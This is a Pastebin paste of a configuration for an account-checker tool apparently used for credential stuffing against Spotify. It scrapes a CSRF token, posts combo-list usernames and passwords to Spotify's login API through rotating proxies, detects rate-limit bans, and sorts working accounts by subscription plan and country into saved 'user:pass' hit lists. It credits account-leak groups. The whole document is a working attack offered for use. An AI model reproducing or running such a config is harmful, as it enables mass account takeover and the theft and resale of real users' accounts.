Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- [General]
- UseProxy = True
- UseGlobalKeywords = True
- DefaultTimeout = 10
- UnbanAllProxiesWhenAllBannedAfter = 0.1
- HitsFolderName = Spotify
- [Stage-1]
- Condition = Any
- Variable-1 = $Link1 = "https://accounts.spotify.com/en/login?continue=https:%2F%2Fwww.spotify.com%2Fint%2Faccount%2Foverview%2F"
- Link = $Link1#
- isFTP = False
- HTTPVersion = 1.1
- FollowRedirect = False
- HTTPRequestMethod = GET
- Timeout = 10
- Variable-2 = $Heads1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"
- Headers = $Heads1#
- Variable-3 = $CSRF = findtagval($Stage1ResponseHeader#, "csrf_token=", ";")
- Ban-Condition = indexof($Stage1ResponseHeader#, "Vary: Accept-Encoding") < 0
- [Stage-2]
- Condition = Any
- Variable-1 = $Link2 = "https://accounts.spotify.com/api/login"
- Link = $Link2#
- isFTP = False
- HTTPVersion = 1.1
- FollowRedirect = False
- HTTPRequestMethod = POST
- Timeout = 10
- Variable-2 = $Heads2 = combinetext("Accept: application/json, text/plain, */*\nPragma: no-cache\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nReferer: https://accounts.spotify.com/en/login?continue=https:%2F%2Fwww.spotify.com%2Fint%2Faccount%2Foverview%2F\nCookie: remember=", $ComboUsername#, "; csrf_token=", $CSRF#, "; Version=1; sp_t=86cef17a7242afcac4f21114c4ff8844; __tumi=c46b66466249a48d2a7d; __tdev=o0rPEL8N; __tvis=CqEANE9V; spot=%7B%22t%22%3A1495557732%2C%22m%22%3A%22de%22%2C%22p%22%3A%22premium%22%7D; __bon=MHwwfC0yMDM1NTQ0NDQ5fC04NTQ5Mjg2Njg1OHwxfDF8MXwx; fb_continue=https%3A%2F%2Fwww.spotify.com%2Fde%2Faccount%2Foverview%2F; _ga=GA1.2.1020018000.1492713823; _gid=GA1.2.759083564.1495557733; _gat=1")
- Headers = $Heads2#
- Variable-3 = $PostContent = combinetext("username=", $ComboUsername#, "&password=", $ComboPassword#, "&remember=true&csrf_token=", $CSRF#)
- PostContent = $PostContent#
- Variable-4 = $IndexOfFailKey1 = indexof($Stage2ResponseSource#, "errorInvalidCredentials")
- Variable-5 = $IndexOfFailKey2 = indexof($Stage2ResponseSource#, "errorUnknown")
- Variable-6 = $IndexOfFailKey3 = indexof($Stage2ResponseSource#, "server_error")
- Failure-Condition = $IndexOfFailKey1# >= 0 || $IndexOfFailKey2# >= 0 || $IndexOfFailKey3# >= 0
- Ban-Condition = indexof($Stage2ResponseHeader#, "429 Too Many Requests") >= 0
- [Stage-3]
- Condition = Any
- Variable-1 = $Link3 = "https://www.spotify.com/us/account/overview/"
- Link = $Link3#
- isFTP = False
- HTTPVersion = 1.1
- FollowRedirect = False
- HTTPRequestMethod = GET
- Timeout = 10
- Variable-2 = $Heads3 = "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nReferer: https://accounts.spotify.com/en-US/login?continue=https:%2F%2Fwww.spotify.com%2Fde%2Faccount%2Foverview%2F"
- Headers = $Heads3#
- Variable-3 = $IndexOfSuccKey1 = indexof($Stage3ResponseSource#, "label': 'premium")
- Variable-4 = $IndexOfSuccKey2 = indexof($Stage3ResponseSource#, "label': 'family-plan")
- Variable-5 = $IndexOfSuccKey3 = indexof($Stage3ResponseSource#, "label': 'cancel-recurring")
- Variable-6 = $IndexOfSuccKey4 = indexof($Stage3ResponseSource#, "btn-manage-familyplan")
- Variable-7 = $IndexOfSuccKey5 = indexof($Stage3ResponseSource#, "label': 'non-recurring")
- Variable-8 = $IndexOfSuccKey6 = indexof($Stage3ResponseSource#, "label': 'payment-failure")
- Variable-9 = $IndexOfSuccKey7 = indexof($Stage3ResponseSource#, "label': 'bundle")
- Variable-10 = $IndexOfSuccKey8 = indexof($Stage3ResponseSource#, "Student")
- Variable-11 = $IndexOfFreeKey1 = indexof($Stage3ResponseSource#, "label': 'upsell-trial_30_days")
- Variable-12 = $IndexOfFreeKey2 = indexof($Stage3ResponseSource#, "label': 'free")
- Variable-13 = $IndexOfFreeKey3 = indexof($Stage3ResponseSource#, "label': 'payment-locked-state")
- Variable-14 = $Plan = if($IndexOfSuccKey1# >= 0 || $IndexOfSuccKey3# >= 0 || $IndexOfSuccKey5# >= 0 || $IndexOfSuccKey6# >= 0, findtagval($Stage3ResponseSource#, "checkmarkchr(double quotes)></use></svg></span>", "</h3>"), findtagval($Stage3ResponseSource#, "product-namechr(double quotes)>", "</h3>"))
- Variable-15 = $Country = findtagval($Stage3ResponseSource#, "userCountry': '", "'")
- Variable-16 = $SaveFormat = combinetext($ComboUsername#, ":", $ComboPassword#, "\nPlan: ", if($IndexOfSuccKey7# >= 0, $Plan#, if($IndexOfSuccKey8# >= 0, "Premium for Students", if($IndexOfFreeKey3# >= 0, "Premium Paused", if($IndexOfSuccKey4# >= 0, "Family Owner", $Plan#)))), "\nCountry: ", uppercase($Country#), "\nCredit: Polaron, TopAccGen & AntiLeech")
- Success-Condition = $IndexOfSuccKey1# >= 0 || $IndexOfSuccKey2# >= 0 || $IndexOfSuccKey3# >= 0 || $IndexOfSuccKey5# >= 0 || $IndexOfSuccKey6# >= 0 || $IndexOfSuccKey7# >= 0
- Free-Condition = $IndexOfFreeKey1# >= 0 || $IndexOfFreeKey2# >= 0 || $IndexOfFreeKey3# >= 0
- Ban-Condition = indexof($Stage3ResponseHeader#, "404 Not Found") >= 0 || indexof($Stage3ResponseHeader#, "302 Found") >= 0 || indexof($Stage3ResponseHeader#, "Internal Server Error") >= 0 || indexof($Stage3ResponseSource#, "Your network access from this device is currently suspended.") >= 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement